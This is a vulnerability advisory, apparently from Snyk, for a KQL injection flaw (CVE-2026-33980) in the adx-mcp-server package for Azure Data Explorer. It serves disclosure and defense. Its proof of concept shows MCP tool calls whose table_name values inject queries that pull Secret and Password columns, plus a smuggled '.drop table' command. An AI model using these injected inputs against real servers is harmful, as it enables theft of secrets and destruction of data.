Improper Neutralization of Special Elements in Data Query Logic Affecting adx-mcp-server package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.4% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-ADXMCPSERVER-15857175
  • published31 Mar 2026
  • disclosed27 Mar 2026
  • creditromain-deperne

Introduced: 27 Mar 2026

CVE-2026-33980  (opens in a new tab)
CWE-943  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

adx-mcp-server is a MCP server for Azure Data Explorer integration

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic via the get_table_schema, sample_table_data, and get_table_details handlers when the table_name parameter is interpolated directly into KQL queries without validation or sanitization. An attacker can execute arbitrary KQL queries against the Azure Data Explorer cluster by supplying crafted input to the table_name parameter.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details

References

CVSS Base Scores

version 4.0
version 3.1